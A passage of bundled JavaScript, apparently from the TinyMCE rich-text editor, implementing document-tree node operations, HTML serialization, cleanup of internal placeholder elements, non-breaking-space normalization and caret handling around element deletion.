          const cloneAttrs = [];
          cloneAttrs.map = {};
          for (let i = 0, l = selfAttrs.length; i < l; i++) {
            const selfAttr = selfAttrs[i];
            if (selfAttr.name !== 'id') {
              cloneAttrs[cloneAttrs.length] = {
                name: selfAttr.name,
                value: selfAttr.value
              };
              cloneAttrs.map[selfAttr.name] = selfAttr.value;
            }
          }
          clone.attributes = cloneAttrs;
        }
        clone.value = self.value;
        return clone;
      }
      wrap(wrapper) {
        const self = this;
        if (self.parent) {
          self.parent.insert(wrapper, self);
          wrapper.append(self);
        }
        return self;
      }
      unwrap() {
        const self = this;
        for (let node = self.firstChild; node;) {
          const next = node.next;
          self.insert(node, self, true);
          node = next;
        }
        self.remove();
      }
      remove() {
        const self = this, parent = self.parent, next = self.next, prev = self.prev;
        if (parent) {
          if (parent.firstChild === self) {
            parent.firstChild = next;
            if (next) {
              next.prev = null;
            }
          } else if (prev) {
            prev.next = next;
          }
          if (parent.lastChild === self) {
            parent.lastChild = prev;
            if (prev) {
              prev.next = null;
            }
          } else if (next) {
            next.prev = prev;
          }
          self.parent = self.next = self.prev = null;
        }
        return self;
      }
      append(node) {
        const self = this;
        if (node.parent) {
          node.remove();
        }
        const last = self.lastChild;
        if (last) {
          last.next = node;
          node.prev = last;
          self.lastChild = node;
        } else {
          self.lastChild = self.firstChild = node;
        }
        node.parent = self;
        return node;
      }
      insert(node, refNode, before) {
        if (node.parent) {
          node.remove();
        }
        const parent = refNode.parent || this;
        if (before) {
          if (refNode === parent.firstChild) {
            parent.firstChild = node;
          } else if (refNode.prev) {
            refNode.prev.next = node;
          }
          node.prev = refNode.prev;
          node.next = refNode;
          refNode.prev = node;
        } else {
          if (refNode === parent.lastChild) {
            parent.lastChild = node;
          } else if (refNode.next) {
            refNode.next.prev = node;
          }
          node.next = refNode.next;
          node.prev = refNode;
          refNode.next = node;
        }
        node.parent = parent;
        return node;
      }
      getAll(name) {
        const self = this;
        const collection = [];
        for (let node = self.firstChild; node; node = walk$2(node, self)) {
          if (node.name === name) {
            collection.push(node);
          }
        }
        return collection;
      }
      children() {
        const self = this;
        const collection = [];
        for (let node = self.firstChild; node; node = node.next) {
          collection.push(node);
        }
        return collection;
      }
      empty() {
        const self = this;
        if (self.firstChild) {
          const nodes = [];
          for (let node = self.firstChild; node; node = walk$2(node, self)) {
            nodes.push(node);
          }
          let i = nodes.length;
          while (i--) {
            const node = nodes[i];
            node.parent = node.firstChild = node.lastChild = node.next = node.prev = null;
          }
        }
        self.firstChild = self.lastChild = null;
        return self;
      }
      isEmpty(elements, whitespace = {}, predicate) {
        var _a;
        const self = this;
        let node = self.firstChild;
        if (isNonEmptyElement(self)) {
          return false;
        }
        if (node) {
          do {
            if (node.type === 1) {
              if (node.attr('data-mce-bogus')) {
                continue;
              }
              if (elements[node.name]) {
                return false;
              }
              if (isNonEmptyElement(node)) {
                return false;
              }
            }
            if (node.type === 8) {
              return false;
            }
            if (node.type === 3 && !isEmptyTextNode(node)) {
              return false;
            }
            if (node.type === 3 && node.parent && whitespace[node.parent.name] && isWhitespaceText((_a = node.value) !== null && _a !== void 0 ? _a : '')) {
              return false;
            }
            if (predicate && predicate(node)) {
              return false;
            }
          } while (node = walk$2(node, self));
        }
        return true;
      }
      walk(prev) {
        return walk$2(this, null, prev);
      }
    }

    const isConditionalComment = (html, startIndex) => /^\s*\[if [\w\W]+\]>.*<!\[endif\](--!?)?>/.test(html.substr(startIndex));
    const findCommentEndIndex = (html, isBogus, startIndex = 0) => {
      const lcHtml = html.toLowerCase();
      if (lcHtml.indexOf('[if ', startIndex) !== -1 && isConditionalComment(lcHtml, startIndex)) {
        const endIfIndex = lcHtml.indexOf('[endif]', startIndex);
        return lcHtml.indexOf('>', endIfIndex);
      } else {
        if (isBogus) {
          const endIndex = lcHtml.indexOf('>', startIndex);
          return endIndex !== -1 ? endIndex : lcHtml.length;
        } else {
          const endCommentRegexp = /--!?>/g;
          endCommentRegexp.lastIndex = startIndex;
          const match = endCommentRegexp.exec(html);
          return match ? match.index + match[0].length : lcHtml.length;
        }
      }
    };
    const findMatchingEndTagIndex = (schema, html, startIndex) => {
      const startTagRegExp = /<([!?\/])?([A-Za-z0-9\-_:.]+)/g;
      const endTagRegExp = /(?:\s(?:[^'">]+(?:"[^"]*"|'[^']*'))*[^"'>]*(?:"[^">]*|'[^'>]*)?|\s*|\/)>/g;
      const voidElements = schema.getVoidElements();
      let count = 1, index = startIndex;
      while (count !== 0) {
        startTagRegExp.lastIndex = index;
        while (true) {
          const startMatch = startTagRegExp.exec(html);
          if (startMatch === null) {
            return index;
          } else if (startMatch[1] === '!') {
            if (startsWith(startMatch[2], '--')) {
              index = findCommentEndIndex(html, false, startMatch.index + '!--'.length);
            } else {
              index = findCommentEndIndex(html, true, startMatch.index + 1);
            }
            break;
          } else {
            endTagRegExp.lastIndex = startTagRegExp.lastIndex;
            const endMatch = endTagRegExp.exec(html);
            if (isNull(endMatch) || endMatch.index !== startTagRegExp.lastIndex) {
              continue;
            }
            if (startMatch[1] === '/') {
              count -= 1;
            } else if (!has$2(voidElements, startMatch[2])) {
              count += 1;
            }
            index = startTagRegExp.lastIndex + endMatch[0].length;
            break;
          }
        }
      }
      return index;
    };
    const trimHtml$1 = (tempAttrs, html) => {
      const trimContentRegExp = new RegExp(['\\s?(' + tempAttrs.join('|') + ')="[^"]+"'].join('|'), 'gi');
      return html.replace(trimContentRegExp, '');
    };
    const trimInternal = (serializer, html) => {
      const bogusAllRegExp = /<(\w+) [^>]*data-mce-bogus="all"[^>]*>/g;
      const schema = serializer.schema;
      let content = trimHtml$1(serializer.getTempAttrs(), html);
      const voidElements = schema.getVoidElements();
      let matches;
      while (matches = bogusAllRegExp.exec(content)) {
        const index = bogusAllRegExp.lastIndex;
        const matchLength = matches[0].length;
        let endTagIndex;
        if (voidElements[matches[1]]) {
          endTagIndex = index;
        } else {
          endTagIndex = findMatchingEndTagIndex(schema, content, index);
        }
        content = content.substring(0, index - matchLength) + content.substring(endTagIndex);
        bogusAllRegExp.lastIndex = index - matchLength;
      }
      return trim$1(content);
    };
    const trimExternal = trimInternal;

    const cleanupBogusElements = parent => {
      const bogusElements = descendants(parent, '[data-mce-bogus]');
      each$e(bogusElements, elem => {
        const bogusValue = get$9(elem, 'data-mce-bogus');
        if (bogusValue === 'all') {
          remove$6(elem);
        } else if (isBr$5(elem)) {
          before$3(elem, SugarElement.fromText(zeroWidth));
          remove$6(elem);
        } else {
          unwrap(elem);
        }
      });
    };
    const cleanupInputNames = parent => {
      const inputs = descendants(parent, 'input');
      each$e(inputs, input => {
        remove$b(input, 'name');
      });
    };

    const trimEmptyContents = (editor, html) => {
      const blockName = getForcedRootBlock(editor);
      const emptyRegExp = new RegExp(`^(<${ blockName }[^>]*>(&nbsp;|&#160;|\\s|\u00a0|<br \\/>|)<\\/${ blockName }>[\r\n]*|<br \\/>[\r\n]*)$`);
      return html.replace(emptyRegExp, '');
    };
    const getPlainTextContent = (editor, body) => {
      const doc = editor.getDoc();
      const dos = getRootNode(SugarElement.fromDom(editor.getBody()));
      const offscreenDiv = SugarElement.fromTag('div', doc);
      set$2(offscreenDiv, 'data-mce-bogus', 'all');
      setAll(offscreenDiv, {
        position: 'fixed',
        left: '-9999999px',
        top: '0'
      });
      set(offscreenDiv, body.innerHTML);
      cleanupBogusElements(offscreenDiv);
      cleanupInputNames(offscreenDiv);
      const root = getContentContainer(dos);
      append$1(root, offscreenDiv);
      const content = trim$1(offscreenDiv.dom.innerText);
      remove$6(offscreenDiv);
      return content;
    };
    const getContentFromBody = (editor, args, body) => {
      let content;
      if (args.format === 'raw') {
        content = Tools.trim(trimExternal(editor.serializer, body.innerHTML));
      } else if (args.format === 'text') {
        content = getPlainTextContent(editor, body);
      } else if (args.format === 'tree') {
        content = editor.serializer.serialize(body, args);
      } else {
        content = trimEmptyContents(editor, editor.serializer.serialize(body, args));
      }
      const shouldTrim = args.format !== 'text' && !isWsPreserveElement(SugarElement.fromDom(body));
      return shouldTrim && isString(content) ? Tools.trim(content) : content;
    };
    const getContentInternal = (editor, args) => Optional.from(editor.getBody()).fold(constant(args.format === 'tree' ? new AstNode('body', 11) : ''), body => getContentFromBody(editor, args, body));

    const makeMap$1 = Tools.makeMap;
    const Writer = settings => {
      const html = [];
      settings = settings || {};
      const indent = settings.indent;
      const indentBefore = makeMap$1(settings.indent_before || '');
      const indentAfter = makeMap$1(settings.indent_after || '');
      const encode = Entities.getEncodeFunc(settings.entity_encoding || 'raw', settings.entities);
      const htmlOutput = settings.element_format !== 'xhtml';
      return {
        start: (name, attrs, empty) => {
          if (indent && indentBefore[name] && html.length > 0) {
            const value = html[html.length - 1];
            if (value.length > 0 && value !== '\n') {
              html.push('\n');
            }
          }
          html.push('<', name);
          if (attrs) {
            for (let i = 0, l = attrs.length; i < l; i++) {
              const attr = attrs[i];
              html.push(' ', attr.name, '="', encode(attr.value, true), '"');
            }
          }
          if (!empty || htmlOutput) {
            html[html.length] = '>';
          } else {
            html[html.length] = ' />';
          }
          if (empty && indent && indentAfter[name] && html.length > 0) {
            const value = html[html.length - 1];
            if (value.length > 0 && value !== '\n') {
              html.push('\n');
            }
          }
        },
        end: name => {
          let value;
          html.push('</', name, '>');
          if (indent && indentAfter[name] && html.length > 0) {
            value = html[html.length - 1];
            if (value.length > 0 && value !== '\n') {
              html.push('\n');
            }
          }
        },
        text: (text, raw) => {
          if (text.length > 0) {
            html[html.length] = raw ? text : encode(text);
          }
        },
        cdata: text => {
          html.push('<![CDATA[', text, ']]>');
        },
        comment: text => {
          html.push('<!--', text, '-->');
        },
        pi: (name, text) => {
          if (text) {
            html.push('<?', name, ' ', encode(text), '?>');
          } else {
            html.push('<?', name, '?>');
          }
          if (indent) {
            html.push('\n');
          }
        },
        doctype: text => {
          html.push('<!DOCTYPE', text, '>', indent ? '\n' : '');
        },
        reset: () => {
          html.length = 0;
        },
        getContent: () => {
          return html.join('').replace(/\n$/, '');
        }
      };
    };

    const HtmlSerializer = (settings = {}, schema = Schema()) => {
      const writer = Writer(settings);
      settings.validate = 'validate' in settings ? settings.validate : true;
      const serialize = node => {
        const validate = settings.validate;
        const handlers = {
          3: node => {
            var _a;
            writer.text((_a = node.value) !== null && _a !== void 0 ? _a : '', node.raw);
          },
          8: node => {
            var _a;
            writer.comment((_a = node.value) !== null && _a !== void 0 ? _a : '');
          },
          7: node => {
            writer.pi(node.name, node.value);
          },
          10: node => {
            var _a;
            writer.doctype((_a = node.value) !== null && _a !== void 0 ? _a : '');
          },
          4: node => {
            var _a;
            writer.cdata((_a = node.value) !== null && _a !== void 0 ? _a : '');
          },
          11: node => {
            let tempNode = node;
            if (tempNode = tempNode.firstChild) {
              do {
                walk(tempNode);
              } while (tempNode = tempNode.next);
            }
          }
        };
        writer.reset();
        const walk = node => {
          var _a;
          const handler = handlers[node.type];
          if (!handler) {
            const name = node.name;
            const isEmpty = name in schema.getVoidElements();
            let attrs = node.attributes;
            if (validate && attrs && attrs.length > 1) {
              const sortedAttrs = [];
              sortedAttrs.map = {};
              const elementRule = schema.getElementRule(node.name);
              if (elementRule) {
                for (let i = 0, l = elementRule.attributesOrder.length; i < l; i++) {
                  const attrName = elementRule.attributesOrder[i];
                  if (attrName in attrs.map) {
                    const attrValue = attrs.map[attrName];
                    sortedAttrs.map[attrName] = attrValue;
                    sortedAttrs.push({
                      name: attrName,
                      value: attrValue
                    });
                  }
                }
                for (let i = 0, l = attrs.length; i < l; i++) {
                  const attrName = attrs[i].name;
                  if (!(attrName in sortedAttrs.map)) {
                    const attrValue = attrs.map[attrName];
                    sortedAttrs.map[attrName] = attrValue;
                    sortedAttrs.push({
                      name: attrName,
                      value: attrValue
                    });
                  }
                }
                attrs = sortedAttrs;
              }
            }
            writer.start(name, attrs, isEmpty);
            if (!isEmpty) {
              let child = node.firstChild;
              if (child) {
                if ((name === 'pre' || name === 'textarea') && child.type === 3 && ((_a = child.value) === null || _a === void 0 ? void 0 : _a[0]) === '\n') {
                  writer.text('\n', true);
                }
                do {
                  walk(child);
                } while (child = child.next);
              }
              writer.end(name);
            }
          } else {
            handler(node);
          }
        };
        if (node.type === 1 && !settings.inner) {
          walk(node);
        } else if (node.type === 3) {
          handlers[3](node);
        } else {
          handlers[11](node);
        }
        return writer.getContent();
      };
      return { serialize };
    };

    const nonInheritableStyles = new Set();
    (() => {
      const nonInheritableStylesArr = [
        'margin',
        'margin-left',
        'margin-right',
        'margin-top',
        'margin-bottom',
        'padding',
        'padding-left',
        'padding-right',
        'padding-top',
        'padding-bottom',
        'border',
        'border-width',
        'border-style',
        'border-color',
        'background',
        'background-attachment',
        'background-clip',
        'background-color',
        'background-image',
        'background-origin',
        'background-position',
        'background-repeat',
        'background-size',
        'float',
        'position',
        'left',
        'right',
        'top',
        'bottom',
        'z-index',
        'display',
        'transform',
        'width',
        'max-width',
        'min-width',
        'height',
        'max-height',
        'min-height',
        'overflow',
        'overflow-x',
        'overflow-y',
        'text-overflow',
        'vertical-align',
        'transition',
        'transition-delay',
        'transition-duration',
        'transition-property',
        'transition-timing-function'
      ];
      each$e(nonInheritableStylesArr, style => {
        nonInheritableStyles.add(style);
      });
    })();
    const shorthandStyleProps = [
      'font',
      'text-decoration',
      'text-emphasis'
    ];
    const getStyleProps = (dom, node) => keys(dom.parseStyle(dom.getAttrib(node, 'style')));
    const isNonInheritableStyle = style => nonInheritableStyles.has(style);
    const hasInheritableStyles = (dom, node) => forall(getStyleProps(dom, node), style => !isNonInheritableStyle(style));
    const getLonghandStyleProps = styles => filter$5(styles, style => exists(shorthandStyleProps, prop => startsWith(style, prop)));
    const hasStyleConflict = (dom, node, parentNode) => {
      const nodeStyleProps = getStyleProps(dom, node);
      const parentNodeStyleProps = getStyleProps(dom, parentNode);
      const valueMismatch = prop => {
        var _a, _b;
        const nodeValue = (_a = dom.getStyle(node, prop)) !== null && _a !== void 0 ? _a : '';
        const parentValue = (_b = dom.getStyle(parentNode, prop)) !== null && _b !== void 0 ? _b : '';
        return isNotEmpty(nodeValue) && isNotEmpty(parentValue) && nodeValue !== parentValue;
      };
      return exists(nodeStyleProps, nodeStyleProp => {
        const propExists = props => exists(props, prop => prop === nodeStyleProp);
        if (!propExists(parentNodeStyleProps) && propExists(shorthandStyleProps)) {
          const longhandProps = getLonghandStyleProps(parentNodeStyleProps);
          return exists(longhandProps, valueMismatch);
        } else {
          return valueMismatch(nodeStyleProp);
        }
      });
    };

    const isChar = (forward, predicate, pos) => Optional.from(pos.container()).filter(isText$a).exists(text => {
      const delta = forward ? 0 : -1;
      return predicate(text.data.charAt(pos.offset() + delta));
    });
    const isBeforeSpace = curry(isChar, true, isWhiteSpace);
    const isAfterSpace = curry(isChar, false, isWhiteSpace);
    const isEmptyText = pos => {
      const container = pos.container();
      return isText$a(container) && (container.data.length === 0 || isZwsp(container.data) && BookmarkManager.isBookmarkNode(container.parentNode));
    };
    const matchesElementPosition = (before, predicate) => pos => getChildNodeAtRelativeOffset(before ? 0 : -1, pos).filter(predicate).isSome();
    const isImageBlock = node => isImg(node) && get$7(SugarElement.fromDom(node), 'display') === 'block';
    const isCefNode = node => isContentEditableFalse$a(node) && !isBogusAll$1(node);
    const isBeforeImageBlock = matchesElementPosition(true, isImageBlock);
    const isAfterImageBlock = matchesElementPosition(false, isImageBlock);
    const isBeforeMedia = matchesElementPosition(true, isMedia$2);
    const isAfterMedia = matchesElementPosition(false, isMedia$2);
    const isBeforeTable = matchesElementPosition(true, isTable$2);
    const isAfterTable = matchesElementPosition(false, isTable$2);
    const isBeforeContentEditableFalse = matchesElementPosition(true, isCefNode);
    const isAfterContentEditableFalse = matchesElementPosition(false, isCefNode);

    const dropLast = xs => xs.slice(0, -1);
    const parentsUntil = (start, root, predicate) => {
      if (contains(root, start)) {
        return dropLast(parents$1(start, elm => {
          return predicate(elm) || eq(elm, root);
        }));
      } else {
        return [];
      }
    };
    const parents = (start, root) => parentsUntil(start, root, never);
    const parentsAndSelf = (start, root) => [start].concat(parents(start, root));

    const navigateIgnoreEmptyTextNodes = (forward, root, from) => navigateIgnore(forward, root, from, isEmptyText);
    const getClosestBlock$1 = (root, pos) => find$2(parentsAndSelf(SugarElement.fromDom(pos.container()), root), isBlock$2);
    const isAtBeforeAfterBlockBoundary = (forward, root, pos) => navigateIgnoreEmptyTextNodes(forward, root.dom, pos).forall(newPos => getClosestBlock$1(root, pos).fold(() => !isInSameBlock(newPos, pos, root.dom), fromBlock => !isInSameBlock(newPos, pos, root.dom) && contains(fromBlock, SugarElement.fromDom(newPos.container()))));
    const isAtBlockBoundary = (forward, root, pos) => getClosestBlock$1(root, pos).fold(() => navigateIgnoreEmptyTextNodes(forward, root.dom, pos).forall(newPos => !isInSameBlock(newPos, pos, root.dom)), parent => navigateIgnoreEmptyTextNodes(forward, parent.dom, pos).isNone());
    const isAtStartOfBlock = curry(isAtBlockBoundary, false);
    const isAtEndOfBlock = curry(isAtBlockBoundary, true);
    const isBeforeBlock = curry(isAtBeforeAfterBlockBoundary, false);
    const isAfterBlock = curry(isAtBeforeAfterBlockBoundary, true);

    const isBr$1 = pos => getElementFromPosition(pos).exists(isBr$5);
    const findBr = (forward, root, pos) => {
      const parentBlocks = filter$5(parentsAndSelf(SugarElement.fromDom(pos.container()), root), isBlock$2);
      const scope = head(parentBlocks).getOr(root);
      return fromPosition(forward, scope.dom, pos).filter(isBr$1);
    };
    const isBeforeBr$1 = (root, pos) => getElementFromPosition(pos).exists(isBr$5) || findBr(true, root, pos).isSome();
    const isAfterBr = (root, pos) => getElementFromPrevPosition(pos).exists(isBr$5) || findBr(false, root, pos).isSome();
    const findPreviousBr = curry(findBr, false);
    const findNextBr = curry(findBr, true);

    const isInMiddleOfText = pos => CaretPosition.isTextPosition(pos) && !pos.isAtStart() && !pos.isAtEnd();
    const getClosestBlock = (root, pos) => {
      const parentBlocks = filter$5(parentsAndSelf(SugarElement.fromDom(pos.container()), root), isBlock$2);
      return head(parentBlocks).getOr(root);
    };
    const hasSpaceBefore = (root, pos) => {
      if (isInMiddleOfText(pos)) {
        return isAfterSpace(pos);
      } else {
        return isAfterSpace(pos) || prevPosition(getClosestBlock(root, pos).dom, pos).exists(isAfterSpace);
      }
    };
    const hasSpaceAfter = (root, pos) => {
      if (isInMiddleOfText(pos)) {
        return isBeforeSpace(pos);
      } else {
        return isBeforeSpace(pos) || nextPosition(getClosestBlock(root, pos).dom, pos).exists(isBeforeSpace);
      }
    };
    const isPreValue = value => contains$2([
      'pre',
      'pre-wrap'
    ], value);
    const isInPre = pos => getElementFromPosition(pos).bind(elm => closest$4(elm, isElement$7)).exists(elm => isPreValue(get$7(elm, 'white-space')));
    const isAtBeginningOfBody = (root, pos) => prevPosition(root.dom, pos).isNone();
    const isAtEndOfBody = (root, pos) => nextPosition(root.dom, pos).isNone();
    const isAtLineBoundary = (root, pos) => isAtBeginningOfBody(root, pos) || isAtEndOfBody(root, pos) || isAtStartOfBlock(root, pos) || isAtEndOfBlock(root, pos) || isAfterBr(root, pos) || isBeforeBr$1(root, pos);
    const isCefBlock = node => isNonNullable(node) && isContentEditableFalse$a(node) && isBlockLike(node);
    const isSiblingCefBlock = (root, direction) => container => {
      return isCefBlock(new DomTreeWalker(container, root)[direction]());
    };
    const isBeforeCefBlock = (root, pos) => {
      const nextPos = nextPosition(root.dom, pos).getOr(pos);
      const isNextCefBlock = isSiblingCefBlock(root.dom, 'next');
      return pos.isAtEnd() && (isNextCefBlock(pos.container()) || isNextCefBlock(nextPos.container()));
    };
    const isAfterCefBlock = (root, pos) => {
      const prevPos = prevPosition(root.dom, pos).getOr(pos);
      const isPrevCefBlock = isSiblingCefBlock(root.dom, 'prev');
      return pos.isAtStart() && (isPrevCefBlock(pos.container()) || isPrevCefBlock(prevPos.container()));
    };
    const needsToHaveNbsp = (root, pos) => {
      if (isInPre(pos)) {
        return false;
      } else {
        return isAtLineBoundary(root, pos) || hasSpaceBefore(root, pos) || hasSpaceAfter(root, pos);
      }
    };
    const needsToBeNbspLeft = (root, pos) => {
      if (isInPre(pos)) {
        return false;
      } else {
        return isAtStartOfBlock(root, pos) || isBeforeBlock(root, pos) || isAfterBr(root, pos) || hasSpaceBefore(root, pos) || isAfterCefBlock(root, pos);
      }
    };
    const leanRight = pos => {
      const container = pos.container();
      const offset = pos.offset();
      if (isText$a(container) && offset < container.data.length) {
        return CaretPosition(container, offset + 1);
      } else {
        return pos;
      }
    };
    const needsToBeNbspRight = (root, pos) => {
      if (isInPre(pos)) {
        return false;
      } else {
        return isAtEndOfBlock(root, pos) || isAfterBlock(root, pos) || isBeforeBr$1(root, pos) || hasSpaceAfter(root, pos) || isBeforeCefBlock(root, pos);
      }
    };
    const needsToBeNbsp = (root, pos) => needsToBeNbspLeft(root, pos) || needsToBeNbspRight(root, leanRight(pos));
    const isNbspAt = (text, offset) => isNbsp(text.charAt(offset));
    const isWhiteSpaceAt = (text, offset) => isWhiteSpace(text.charAt(offset));
    const hasNbsp = pos => {
      const container = pos.container();
      return isText$a(container) && contains$1(container.data, nbsp);
    };
    const normalizeNbspMiddle = text => {
      const chars = text.split('');
      return map$3(chars, (chr, i) => {
        if (isNbsp(chr) && i > 0 && i < chars.length - 1 && isContent(chars[i - 1]) && isContent(chars[i + 1])) {
          return ' ';
        } else {
          return chr;
        }
      }).join('');
    };
    const normalizeNbspAtStart = (root, node, makeNbsp) => {
      const text = node.data;
      const firstPos = CaretPosition(node, 0);
      if (!makeNbsp && isNbspAt(text, 0) && !needsToBeNbsp(root, firstPos)) {
        node.data = ' ' + text.slice(1);
        return true;
      } else if (makeNbsp && isWhiteSpaceAt(text, 0) && needsToBeNbspLeft(root, firstPos)) {
        node.data = nbsp + text.slice(1);
        return true;
      } else {
        return false;
      }
    };
    const normalizeNbspInMiddleOfTextNode = node => {
      const text = node.data;
      const newText = normalizeNbspMiddle(text);
      if (newText !== text) {
        node.data = newText;
        return true;
      } else {
        return false;
      }
    };
    const normalizeNbspAtEnd = (root, node, makeNbsp) => {
      const text = node.data;
      const lastPos = CaretPosition(node, text.length - 1);
      if (!makeNbsp && isNbspAt(text, text.length - 1) && !needsToBeNbsp(root, lastPos)) {
        node.data = text.slice(0, -1) + ' ';
        return true;
      } else if (makeNbsp && isWhiteSpaceAt(text, text.length - 1) && needsToBeNbspRight(root, lastPos)) {
        node.data = text.slice(0, -1) + nbsp;
        return true;
      } else {
        return false;
      }
    };
    const normalizeNbsps = (root, pos) => {
      const container = pos.container();
      if (!isText$a(container)) {
        return Optional.none();
      }
      if (hasNbsp(pos)) {
        const normalized = normalizeNbspAtStart(root, container, false) || normalizeNbspInMiddleOfTextNode(container) || normalizeNbspAtEnd(root, container, false);
        return someIf(normalized, pos);
      } else if (needsToBeNbsp(root, pos)) {
        const normalized = normalizeNbspAtStart(root, container, true) || normalizeNbspAtEnd(root, container, true);
        return someIf(normalized, pos);
      } else {
        return Optional.none();
      }
    };
    const normalizeNbspsInEditor = editor => {
      const root = SugarElement.fromDom(editor.getBody());
      if (editor.selection.isCollapsed()) {
        normalizeNbsps(root, CaretPosition.fromRangeStart(editor.selection.getRng())).each(pos => {
          editor.selection.setRng(pos.toRange());
        });
      }
    };

    const normalize$1 = (node, offset, count) => {
      if (count === 0) {
        return;
      }
      const elm = SugarElement.fromDom(node);
      const root = ancestor$3(elm, isBlock$2).getOr(elm);
      const whitespace = node.data.slice(offset, offset + count);
      const isEndOfContent = offset + count >= node.data.length && needsToBeNbspRight(root, CaretPosition(node, node.data.length));
      const isStartOfContent = offset === 0 && needsToBeNbspLeft(root, CaretPosition(node, 0));
      node.replaceData(offset, count, normalize$4(whitespace, 4, isStartOfContent, isEndOfContent));
    };
    const normalizeWhitespaceAfter = (node, offset) => {
      const content = node.data.slice(offset);
      const whitespaceCount = content.length - lTrim(content).length;
      normalize$1(node, offset, whitespaceCount);
    };
    const normalizeWhitespaceBefore = (node, offset) => {
      const content = node.data.slice(0, offset);
      const whitespaceCount = content.length - rTrim(content).length;
      normalize$1(node, offset - whitespaceCount, whitespaceCount);
    };
    const mergeTextNodes = (prevNode, nextNode, normalizeWhitespace, mergeToPrev = true) => {
      const whitespaceOffset = rTrim(prevNode.data).length;
      const newNode = mergeToPrev ? prevNode : nextNode;
      const removeNode = mergeToPrev ? nextNode : prevNode;
      if (mergeToPrev) {
        newNode.appendData(removeNode.data);
      } else {
        newNode.insertData(0, removeNode.data);
      }
      remove$6(SugarElement.fromDom(removeNode));
      if (normalizeWhitespace) {
        normalizeWhitespaceAfter(newNode, whitespaceOffset);
      }
      return newNode;
    };

    const needsReposition = (pos, elm) => {
      const container = pos.container();
      const offset = pos.offset();
      return !CaretPosition.isTextPosition(pos) && container === elm.parentNode && offset > CaretPosition.before(elm).offset();
    };
    const reposition = (elm, pos) => needsReposition(pos, elm) ? CaretPosition(pos.container(), pos.offset() - 1) : pos;
    const beforeOrStartOf = node => isText$a(node) ? CaretPosition(node, 0) : CaretPosition.before(node);
    const afterOrEndOf = node => isText$a(node) ? CaretPosition(node, node.data.length) : CaretPosition.after(node);
    const getPreviousSiblingCaretPosition = elm => {
      if (isCaretCandidate$3(elm.previousSibling)) {
        return Optional.some(afterOrEndOf(elm.previousSibling));
      } else {
        return elm.previousSibling ? lastPositionIn(elm.previousSibling) : Optional.none();
      }
    };
    const getNextSiblingCaretPosition = elm => {
      if (isCaretCandidate$3(elm.nextSibling)) {
        return Optional.some(beforeOrStartOf(elm.nextSibling));
      } else {
        return elm.nextSibling ? firstPositionIn(elm.nextSibling) : Optional.none();
      }
    };
    const findCaretPositionBackwardsFromElm = (rootElement, elm) => {
      return Optional.from(elm.previousSibling ? elm.previousSibling : elm.parentNode).bind(node => prevPosition(rootElement, CaretPosition.before(node))).orThunk(() => nextPosition(rootElement, CaretPosition.after(elm)));
    };
    const findCaretPositionForwardsFromElm = (rootElement, elm) => nextPosition(rootElement, CaretPosition.after(elm)).orThunk(() => prevPosition(rootElement, CaretPosition.before(elm)));
    const findCaretPositionBackwards = (rootElement, elm) => getPreviousSiblingCaretPosition(elm).orThunk(() => getNextSiblingCaretPosition(elm)).orThunk(() => findCaretPositionBackwardsFromElm(rootElement, elm));
    const findCaretPositionForward = (rootElement, elm) => getNextSiblingCaretPosition(elm).orThunk(() => getPreviousSiblingCaretPosition(elm)).orThunk(() => findCaretPositionForwardsFromElm(rootElement, elm));
    const findCaretPosition = (forward, rootElement, elm) => forward ? findCaretPositionForward(rootElement, elm) : findCaretPositionBackwards(rootElement, elm);
    const findCaretPosOutsideElmAfterDelete = (forward, rootElement, elm) => findCaretPosition(forward, rootElement, elm).map(curry(reposition, elm));
    const setSelection$1 = (editor, forward, pos) => {
      pos.fold(() => {
        editor.focus();
      }, pos => {
        editor.selection.setRng(pos.toRange(), forward);
      });
    };
    const eqRawNode = rawNode => elm => elm.dom === rawNode;
    const isBlock = (editor, elm) => elm && has$2(editor.schema.getBlockElements(), name(elm));
    const paddEmptyBlock = elm => {
      if (isEmpty$2(elm)) {
        const br = SugarElement.fromHtml('<br data-mce-bogus="1">');
        empty(elm);
        append$1(elm, br);
        return Optional.some(CaretPosition.before(br.dom));
      } else {
        return Optional.none();
      }
    };
    const deleteNormalized = (elm, afterDeletePosOpt, normalizeWhitespace) => {
      const prevTextOpt = prevSibling(elm).filter(isText$b);
      const nextTextOpt = nextSibling(elm).filter(isText$b);
      remove$6(elm);
      return lift3(prevTextOpt, nextTextOpt, afterDeletePosOpt, (prev, next, pos) => {
        const prevNode = prev.dom, nextNode = next.dom;
        const offset = prevNode.data.length;
        mergeTextNodes(prevNode, nextNode, normalizeWhitespace);
        return pos.container() === nextNode ? CaretPosition(prevNode, offset) : pos;
      }).orThunk(() => {
        if (normalizeWhitespace) {
          prevTextOpt.each(elm => normalizeWhitespaceBefore(elm.dom, elm.dom.length));
          nextTextOpt.each(elm => normalizeWhitespaceAfter(elm.dom, 0));
        }
        return afterDeletePosOpt;
      });
    };
    const isInlineElement = (editor, element) => has$2(editor.schema.getTextInlineElements(), name(element));
    const deleteElement$2 = (editor, forward, elm, moveCaret = true) => {
      const afterDeletePos = findCaretPosOutsideElmAfterDelete(forward, editor.getBody(), elm.dom);
      const parentBlock = ancestor$3(elm, curry(isBlock, editor), eqRawNode(editor.getBody()));
      const normalizedAfterDeletePos = deleteNormalized(elm, afterDeletePos, isInlineElement(editor, elm));
      if (editor.dom.isEmpty(editor.getBody())) {
        editor.setContent('');
        editor.selection.setCursorLocation();
      } else {
        parentBlock.bind(paddEmptyBlock).fold(() => {
          if (moveCaret) {
            setSelection$1(editor, forward, normalizedAfterDeletePos);
          }
        }, paddPos => {
          if (moveCaret) {
            setSelection$1(editor, forward, Optional.some(paddPos));
          }
        });
      }
    };

    const strongRtl = /[\u0591-\u07FF\uFB1D-\uFDFF\uFE70-\uFEFC]/;
    const hasStrongRtl = text => strongRtl.test(text);

    const isInlineTarget = (editor, elm) => is$1(SugarElement.fromDom(elm), getInlineBoundarySelector(editor)) && !isTransparentBlock(editor.schema, elm);
    const isRtl = element => {
      var _a;
      return DOMUtils.DOM.getStyle(element, 'direction', true) === 'rtl' || hasStrongRtl((_a = element.textContent) !== null && _a !== void 0 ? _a : '');
    };
    const findInlineParents = (isInlineTarget, rootNode, pos) => filter$5(DOMUtils.DOM.getParents(pos.container(), '*', rootNode), isInlineTarget);
    const findRootInline = (isInlineTarget, rootNode, pos) => {
      const parents = findInlineParents(isInlineTarget, rootNode, pos);
      return Optional.from(parents[parents.length - 1]);
    };
    const hasSameParentBlock = (rootNode, node1, node2) => {
      const block1 = getParentBlock$3(node1, rootNode);
      const block2 = getParentBlock$3(node2, rootNode);
      return isNonNullable(block1) && block1 === block2;
    };
